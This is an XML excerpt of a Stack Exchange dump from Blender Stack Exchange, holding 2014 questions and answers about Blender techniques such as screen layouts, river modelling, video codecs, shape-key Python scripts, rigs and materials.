  <row Id="8830" PostTypeId="1" CreationDate="2014-04-23T15:06:24.840" Score="2" ViewCount="1329" Body="&lt;p&gt;Just downloaded the latest version of Blender and was hoping for an easy way to port over some screen layouts made in the previous version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Here's what worked for me:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Open previous version of Blender&lt;/li&gt;&#xA;&lt;li&gt;Save current state as &lt;code&gt;startup.blend&lt;/code&gt; (or other filename of choice)&lt;/li&gt;&#xA;&lt;li&gt;Open the startup.blend file in new version of Blender and choose &lt;code&gt;File -&amp;gt; Save Startup File (Ctrl + U)&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Does anyone know of a better way to import/export screen layouts? Even though this worked for me, it doesn't seem like the best practice since some things may or may not get carried over in a startup.blend file.&lt;/p&gt;&#xA;" OwnerUserId="2220" LastActivityDate="2014-04-23T21:46:16.390" Title="Export/Import Screen Layouts" Tags="&lt;interface&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2014-04-23T22:15:37.950" ContentLicense="CC BY-SA 3.0" />
  <row Id="8831" PostTypeId="2" ParentId="7919" CreationDate="2014-04-23T15:30:27.723" Score="12" Body="&lt;h2&gt;Make a Procedural River using the Ocean Modifier&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;This technique for creating a river allows the flow of the water to follow the path of the river easily. To do it, simply create an long, narrow &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Simulate/Ocean&quot; rel=&quot;noreferrer&quot;&gt;Ocean&lt;/a&gt; object, then add a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Deform/Curve&quot; rel=&quot;noreferrer&quot;&gt;Curve Modifier&lt;/a&gt; to it.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a plane:  &lt;kbd&gt;SHIFT&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; -&gt; Mesh -&gt; Plane&lt;br&gt;&#xA;(&lt;strong&gt;NOTE:&lt;/strong&gt; For this technique to be easy, &lt;strong&gt;DO NOT&lt;/strong&gt; move the plane away from where it is created -- the 3D Cursor is where it is created)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add an Ocean Modifier to the plane. You may want to scale down the resulting mesh.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NuaNs.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Lengthen the Ocean object along the X axis by increasing the Repeat X value. This will be the river object:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Yf7dy.gif&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a Path Curve:  &lt;kbd&gt;SHIFT&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; -&gt; Curve -&gt; Path&lt;br&gt;&#xA;(&lt;strong&gt;NOTE:&lt;/strong&gt; Again, for this technique to be easy, &lt;strong&gt;DO NOT&lt;/strong&gt; move the path away from where it is created -- the 3D Cursor is where it is created, so it will appear right on top of the river)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Scale the path so it is a little bit bigger than the river, then position it so it is in the middle of the river:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Scale:&lt;/strong&gt; Select path -&gt; &lt;kbd&gt;S&lt;/kbd&gt; -&gt; drag mouse&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Move on X Axis:&lt;/strong&gt; Select path -&gt; &lt;kbd&gt;G&lt;/kbd&gt; -&gt; &lt;kbd&gt;X&lt;/kbd&gt; -&gt; drag mouse&lt;br&gt;&#xA;&lt;strong&gt;(NOTE:&lt;/strong&gt; This is the one time you can move the path until you reach Step #10 below)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0R4Mp.gif&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;With the path selected, go into Edit mode and subdivide the path as many times as you have bends in the river. In your river, you have one bend, so just subdivide it one time:&lt;br&gt;&#xA;Select path -&gt; &lt;kbd&gt;TAB&lt;/kbd&gt; &lt;kbd&gt;W&lt;/kbd&gt; -&gt; Subdivide -&gt; Exit Edit Mode (&lt;kbd&gt;TAB&lt;/kbd&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4gqts.gif&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the river and add a Curve Deform Modifier to it and set the Object to the path:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XaOF7.gif&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This makes the river mesh conform to the shape of the path.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now move the river so it is fully on the path:&lt;br&gt;&#xA;Select river -&gt; &lt;kbd&gt;G&lt;/kbd&gt; -&gt; &lt;kbd&gt;X&lt;/kbd&gt; -&gt; drag mouse&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JXd8F.gif&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Edit the path so it is the shape you want your river to be:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JspkN.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Position the river on your landscape. To do this, you &lt;strong&gt;MUST&lt;/strong&gt; move both the path and river together, so select them both, then move them:&lt;br&gt;&#xA;Select path -&gt; hold &lt;kbd&gt;SHIFT&lt;/kbd&gt; while selecting the river -&gt; &lt;kbd&gt;G&lt;/kbd&gt; -&gt; Position them&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you want to make the river narrower or wider in certain places, you can do that by select one of the vertices of the path and altering it with &lt;kbd&gt;ALT&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt;:&lt;br&gt;&#xA;Select path -&gt; &lt;kbd&gt;TAB&lt;/kbd&gt; -&gt; select vertex -&gt; &lt;kbd&gt;ALT&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt; -&gt; drag mouse&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8Pgyo.gif&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h2&gt;Animating the River&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;To make the river flow, you now need to &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Animation/Editors/Timeline&quot; rel=&quot;noreferrer&quot;&gt;animate&lt;/a&gt; it's properties by setting &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Animation/Basics/Actions&quot; rel=&quot;noreferrer&quot;&gt;keyframes&lt;/a&gt; for the Ocean Modifier's properties.  &lt;/p&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="2173" LastEditDate="2014-04-23T16:11:10.217" LastActivityDate="2014-04-23T16:11:10.217" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8832" PostTypeId="2" ParentId="7051" CreationDate="2014-04-23T15:44:20.893" Score="2" Body="&lt;p&gt;The best quality option for lossless video output with audio would be &lt;strong&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Huffyuv&quot; rel=&quot;nofollow&quot;&gt;HuffYUV&lt;/a&gt;&lt;/strong&gt; or H.264 w/ Lossless Output mentioned previously.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Filesize with H.264 lossless output is dramatically smaller than HuffYUV. I'm not sure exactly how &lt;em&gt;lossless&lt;/em&gt; it really is. Use PCM or FLAC to preserve audio quality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've gotten DNxHD to work in the past by using values from &lt;a href=&quot;http://www.itbroadcastanddigitalcinema.com/ffmpeg_howto.html#Encoding_VC-3&quot; rel=&quot;nofollow&quot;&gt;this table of supported resolutions&lt;/a&gt;. Blender fails to encode unless a compatible set of values is used. Albeit lossy, DNxHD is a pretty nice compression format for size/quality ratio.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on your needs and preferences, it might be a good idea to render animations to lossless image sequences (e.g. PNG, OpenEXR, or TIFF, etc.). That way, you can tweak small portions of your animation or stop and resume rendering at a later time, without needing to re-render the whole sequence.&lt;/p&gt;&#xA;" OwnerUserId="2220" LastEditorUserId="2220" LastEditDate="2014-04-29T14:37:57.177" LastActivityDate="2014-04-29T14:37:57.177" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8833" PostTypeId="1" CreationDate="2014-04-23T15:47:31.930" Score="3" ViewCount="134" Body="&lt;p&gt;I have written some python to create a set of absolute shape keys:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;import math&#xA;&#xA;def vert1For(u, t):&#xA;    return [ 0, u, 0]&#xA;&#xA;def vert2For(u, t, dTheta, z1):&#xA;    theta1 = dTheta * math.sin(t+u*0.4)&#xA;    return [ math.sin(theta1)*z1, u, math.cos(theta1)*z1]&#xA;&#xA;def vert3For(u, t, dTheta, z2, thetaLag):&#xA;    theta2 = dTheta * math.sin(t+u*0.4-thetaLag)&#xA;    return [ math.sin(theta2)*z2, u, math.cos(theta2)*z2]&#xA;&#xA;def makeMesh(name, nSegs, z1, z2, dTheta, thetaLag):&#xA;    mesh = bpy.data.meshes.new(name)&#xA;    verts = []&#xA;    faces = []&#xA;    for u in range(0,nSegs+1):&#xA;        v1=len(verts)&#xA;        verts.append( vert1For(u,0) )&#xA;        verts.append( vert2For(u,0,dTheta, z1) )&#xA;        verts.append( vert3For(u,0,dTheta, z2, thetaLag) )&#xA;        if (u&amp;gt;0):&#xA;            v2 = v1+1&#xA;            v3 = v1+2&#xA;            v4 = v1+3&#xA;            v5 = v1+4&#xA;            v6 = v1+5&#xA;            faces.append( [ v1, v4, v5, v2] )&#xA;            faces.append( [ v2, v5, v6, v3] )&#xA;    mesh.from_pydata(verts, [], faces)&#xA;    mesh.validate(True)&#xA;    mesh.show_normal_face = True&#xA;&#xA;    return mesh&#xA;&#xA;def addShapeKey(obj, i, nKeys, z1, z2, dTheta, thetaLag):&#xA;    kn = &quot;phase %d&quot;%i&#xA;    sk = obj.shape_key_add(kn)&#xA;#    sk.value = 0&#xA;#    sk.frame = i/nKeys&#xA;#    sk.frame = i*i/(nKeys*nKeys) # crazy version&#xA;    bm = bmesh.new()&#xA;    bm.from_mesh(obj.data)&#xA;    sl = bm.verts.layers.shape.get(kn)&#xA;&#xA;&#xA;    for u in range( math.floor(len(bm.verts) / 3)):&#xA;        t = math.pi*2*i/nKeys&#xA;        bm.verts[u*3][sl] = vert1For(u, t)&#xA;        bm.verts[u*3+1][sl] = vert2For(u, t, dTheta, z1)&#xA;        bm.verts[u*3+2][sl] = vert3For(u, t, dTheta, z2, thetaLag)&#xA;&#xA;    bm.to_mesh(obj.data)&#xA;&#xA;&#xA;&#xA;dTheta = 0.8&#xA;thetaLag = 0.2&#xA;z1 = 2&#xA;z2 = 3&#xA;mesh = makeMesh(&quot;fin&quot;, 40, z1, z2, dTheta, thetaLag)&#xA;&#xA;obj = bpy.data.objects.new(&quot;fin&quot;, mesh)&#xA;bpy.context.scene.objects.link(obj)&#xA;&#xA;&#xA;sk0 = obj.shape_key_add(&quot;Basis&quot;)&#xA;print(sk0)&#xA;sk0 = obj.data.shape_keys&#xA;print(sk0)&#xA;sk0.use_relative = False&#xA;nKeys = 11;&#xA;for i in range(1,nKeys):&#xA;    addShapeKey(obj, i, nKeys, z1, z2, dTheta, thetaLag)&#xA;&#xA;# This next bit does not actually work, and I'm not sure why.  That's why pretty much everything in bpy.ops should be avoided.&#xA;obj.select = True&#xA;bpy.context.scene.objects.active = obj&#xA;print(&quot;retime&quot;)&#xA;bpy.ops.object.shape_key_retime()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, absolute shape keys are incomplete when you create them, whether from python or the UI.  The only way to make them work is to give their secret .frame property a value, and since that secret property is read-only in python the only way I know to do that is to use the Reset Timing button to invoke bpy.ops.object.shape_key_retime().&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, I do not know how to set the UI state such that a python call to bpy.ops.object.shape_key_retime() will work the same as clicking it from the UI. (and this is why I generally avoid bpy.ops like the plague)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What extra python calls are necessary to finalize the state of the object so that no extra user interaction is necessary?  When I run the above code, the shape keys panel is even missing important bits of its UI until I click one of the shape keys in the list.&lt;/p&gt;&#xA;" OwnerUserId="660" LastActivityDate="2014-04-23T15:47:31.930" Title="How do I Reset Timings on a set of absolute shape keys from python?" Tags="&lt;shape-keys&gt;" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8834" PostTypeId="1" CreationDate="2014-04-23T17:15:48.233" Score="1" ViewCount="768" Body="&lt;p&gt;I would like to have an empty with custom string property that drive a Body Text. But Body Text datablock is not accessible from the GUI. How can i do that ?&lt;/p&gt;&#xA;" OwnerUserId="3243" LastActivityDate="2014-04-23T18:10:59.743" Title="How to add a driver to body text" Tags="&lt;python&gt;&lt;drivers&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2014-04-24T05:08:49.303" ContentLicense="CC BY-SA 3.0" />
  <row Id="8835" PostTypeId="2" ParentId="8834" CreationDate="2014-04-23T18:10:59.743" Score="2" Body="&lt;p&gt;After adding a text object, finding out the name of the associated property (&quot;body&quot;) and selecting it...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; C.scene.objects.active.data.driver_add(&quot;body&quot;)&#xA;Traceback (most recent call last):&#xA;  File &quot;&amp;lt;blender_console&amp;gt;&quot;, line 1, in &amp;lt;module&amp;gt;&#xA;TypeError: bpy_struct.driver_add(): property &quot;body&quot; not animatable&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That is, I tried to add a driver to it from the python console. It doesn't seem to be possible, sorry. Depending on what exactly you want to put in the text object, using multiple objects might be an option?&lt;/p&gt;&#xA;" OwnerUserId="1881" LastActivityDate="2014-04-23T18:10:59.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8836" PostTypeId="1" AcceptedAnswerId="8837" CreationDate="2014-04-23T19:52:04.093" Score="6" ViewCount="1262" Body="&lt;p&gt;My goal is to: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Flatten out a cube &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Keep the cube's base on the same position of z-axis (i.e. flat on the ground plane)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Ideally, the volume of the cube should remain constant&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Think of it like a block of clay slowly flowing out to the sides:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(High quality 2d sketch:)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/E7sDb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So here is my scene: I have a &lt;em&gt;&quot;cube&quot;&lt;/em&gt; (black object) and a lattice (orange object) that encapsulates the cube:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/b9Hjq.png&quot; width=&quot;400&quot; /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Selected the lattice with &lt;kbd&gt;B&lt;/kbd&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt; -&gt; Lattice Deform&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Added Shape Keys under menu &lt;em&gt;Data: Object Data&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Gpvbt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Then I tried to transform the cube with the lattice. Here is the result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NzeMQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The way the cube is deformed is perfect, &lt;strong&gt;EXCEPT the base of the cube does NOT stay on the ground plane&lt;/strong&gt; -- it gets pushed down below it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, my question is: how can I deform the cube like this, yet keep the base on the ground plane?&lt;/p&gt;&#xA;" OwnerUserId="3245" LastEditorUserId="2173" LastEditDate="2014-04-24T10:16:21.633" LastActivityDate="2014-04-24T10:16:21.633" Title="How can I squash/deform a cube AND keep it positioned on the ground plane?" Tags="&lt;transforms&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8837" PostTypeId="2" ParentId="8836" CreationDate="2014-04-23T21:17:28.157" Score="5" Body="&lt;p&gt;You don't need a lattice you can achieve this by only using &lt;em&gt;Shape Keys&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create two &lt;em&gt;Shape Keys&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Move the top face down&lt;/li&gt;&#xA;&lt;li&gt;Scale the bottom outside edges outward&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eqTsN.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-04-23T21:17:28.157" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8838" PostTypeId="2" ParentId="8830" CreationDate="2014-04-23T21:46:16.390" Score="0" Body="&lt;p&gt;You can copy the startup.blend file from your old blender config directory to the new one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;br&gt;&#xA;(on most linux distros) &lt;code&gt;~/.blender/2.69/config/startup.blend&lt;/code&gt; -&gt; &lt;code&gt;~/.blender/config/startup.blend&lt;/code&gt;.&lt;br&gt;&#xA;On Mac OS, it'd be in &lt;code&gt;~/Library/Application Support/Blender/&amp;lt;version&amp;gt;/config&lt;/code&gt;. Not sure about windows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only other things that seem to be there are user-installed add-ons (in &lt;code&gt;scripts&lt;/code&gt; rather than &lt;code&gt;config&lt;/code&gt;), bookmarks (&lt;code&gt;config/bookmarks.txt&lt;/code&gt;) and recently opened files (&lt;code&gt;recent-files.txt&lt;/code&gt;). You should be able to copy those without an issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the startup blendfile, it's probably a good idea to save your settings after having started up, or to just continue doing it as you wrote in your question, to make sure that the blendfile is actually of the right version. Shouldn't make a big difference what with it still being a blendfile and the great reverse compatibility in blender, but you never know!&lt;/p&gt;&#xA;" OwnerUserId="1881" LastActivityDate="2014-04-23T21:46:16.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8839" PostTypeId="1" AcceptedAnswerId="8840" CreationDate="2014-04-23T22:38:24.247" Score="4" ViewCount="3778" Body="&lt;p&gt;Downloaded this IK rigged model: &lt;a href=&quot;http://www.blendswap.com/blends/view/72307&quot; rel=&quot;nofollow&quot;&gt;http://www.blendswap.com/blends/view/72307&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Opened it in Blender, but I'm not able to figure out how to interact with the rig. When I try to select one rig/joint, Blender selects the whole rig/all the joints. How can I select one, and only one rig/joint(for instance, the foot)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've used Blender for other stuff for a couple of months. I've also animated in other software, so I'm not new to the theory. I just don't understand Blenders interface for using rigs.&lt;/p&gt;&#xA;" OwnerUserId="3247" LastEditorUserId="12" LastEditDate="2014-04-23T23:22:48.457" LastActivityDate="2015-02-02T18:02:45.697" Title="How do I select and manipulate a rig?" Tags="&lt;armature&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8840" PostTypeId="2" ParentId="8839" CreationDate="2014-04-23T23:16:15.093" Score="4" Body="&lt;p&gt;You must be in &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Rigging/Posing&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Pose Mode&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Tab&lt;/kbd&gt; with the rig selected, or select &lt;em&gt;pose mode&lt;/em&gt; in &lt;em&gt;3D view &gt; Header&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4ENN5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-04-23T23:16:15.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8842" PostTypeId="1" AcceptedAnswerId="8866" CreationDate="2014-04-24T00:53:41.050" Score="29" ViewCount="62142" Body="&lt;p&gt;Pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;kbd&gt;Alt&lt;/kbd&gt; &lt;kbd&gt;NumPad 0&lt;/kbd&gt; causes the camera to teleport over and align itself to the current view in the 3D viewport.&lt;br&gt;&#xA;However, it usually takes up only a small portion of the view, meaning that you have to move the camera back to fit the same view you had before. Is there a way to set the camera view to fill more of the 3D viewport when using this feature?&lt;/p&gt;&#xA;" OwnerUserId="3236" LastEditorUserId="2217" LastEditDate="2015-09-19T15:58:31.900" LastActivityDate="2020-05-28T15:36:57.277" Title="Is there a Way to Align Camera to View and Fit the View?" Tags="&lt;3d-view&gt;&lt;camera&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="18" ContentLicense="CC BY-SA 3.0" />
  <row Id="8844" PostTypeId="2" ParentId="8618" CreationDate="2014-04-24T05:28:18.523" Score="2" Body="&lt;p&gt;For completeness, its worth noting that there are systems to render vector data like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To name a few:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://asymptote.sourceforge.net&quot; rel=&quot;nofollow&quot;&gt;asymptote&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://mathgl.sourceforge.net&quot; rel=&quot;nofollow&quot;&gt;MathGL&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.ctan.org/pkg/pst-solides3d&quot; rel=&quot;nofollow&quot;&gt;pst-solides3d&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Writing an exporter for programs like this shouldn't be so hard (depending on exactly what you want to display).&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-04-24T05:28:18.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8845" PostTypeId="1" AcceptedAnswerId="8846" CreationDate="2014-04-24T05:51:33.783" Score="8" ViewCount="7332" Body="&lt;p&gt;I have to display several versions of the same object, with only the color changing. My first approach was to duplicate the mesh and add a different material to each.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is: when I want to modify the mesh, I have to do it on each object separately. I tried to have different objects with the same mesh, but the color seems to be linked to the mesh and not to the object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way (even programmatically) to have the same mesh in different objects with different colors?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Additionnal info:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Cycles and my material is a node material in which there is only one changing color.&lt;/p&gt;&#xA;" OwnerUserId="269" LastActivityDate="2014-04-24T06:26:25.067" Title="Same mesh with different colors" Tags="&lt;mesh&gt;&lt;materials&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8846" PostTypeId="2" ParentId="8845" CreationDate="2014-04-24T06:26:25.067" Score="12" Body="&lt;p&gt;You have a couple options:&lt;/p&gt;&#xA;&lt;h1&gt;One material:&lt;/h1&gt;&#xA;&lt;p&gt;You can set a unique index per object in &lt;em&gt;Properties &amp;gt; Object &amp;gt; Relations&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MaCMF.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Using the &lt;em&gt;Object info node&lt;/em&gt;, you can get this value in the node tree and use it to mix colors (or shaders) accordingly (also see &lt;a href=&quot;https://blender.stackexchange.com/q/5332/599&quot;&gt;Get &amp;quot;Object Color&amp;quot; property in Cycles&lt;/a&gt;).&lt;/p&gt;&#xA;&lt;p&gt;Using three linked cubes (duplicated with &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt;) with the same material as an example:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/jipKP.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jipKP.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Note that this node setup is a lot cleaner and easier to manage when node groups are used.&lt;/p&gt;&#xA;&lt;h1&gt;Multiple materials:&lt;/h1&gt;&#xA;&lt;p&gt;By setting the material to link to that specific &lt;em&gt;Object&lt;/em&gt; instead of it's data, which is shared by the other linked objects, you can have separate materials on separate objects which share the same mesh/data.&lt;/p&gt;&#xA;&lt;p&gt;Just select &lt;em&gt;Object&lt;/em&gt; in the menu to the right of the material selector:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Gtto8.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-04-24T06:26:25.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8847" PostTypeId="1" CreationDate="2014-04-24T11:59:27.410" Score="4" ViewCount="5927" Body="&lt;p&gt;I have seen the tutorials involving the use of the compositor to produce an atmosphere, but I wanted to be more authentic. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since Cycles now has volumetrics support, I have tried using the sphere gradient texture connected to a color ramp (knowing that black is 0 density and white is 1) to get an accurate density falloff (a factor of 10 every 10 kilometers), but the volume density still reaches the outer edges of the mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any way of doing this?&lt;/p&gt;&#xA;" OwnerUserId="3254" LastEditorUserId="20" LastEditDate="2014-04-24T13:06:21.053" LastActivityDate="2019-05-12T10:59:33.883" Title="Using cycles volumetrics to make planet's atmosphere" Tags="&lt;cycles-render-engine&gt;&lt;volumetrics&gt;" AnswerCount="4" CommentCount="2" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8848" PostTypeId="1" CreationDate="2014-04-24T12:28:12.560" Score="1" ViewCount="1798" Body="&lt;p&gt;I was trying to create the same as in this tutorial:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=whjFb0xFoLk&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=whjFb0xFoLk&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I do exact the same my objects keep regrowing. So each next object will be even bigger then the one before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone please tell me what I did wrong here?&lt;/p&gt;&#xA;" OwnerUserId="3255" LastEditorUserId="12" LastEditDate="2014-04-24T16:26:12.263" LastActivityDate="2014-04-24T16:26:12.263" Title="How to create a circle with the Array Modifier" Tags="&lt;modifiers&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2014-04-24T16:25:44.587" ContentLicense="CC BY-SA 3.0" />
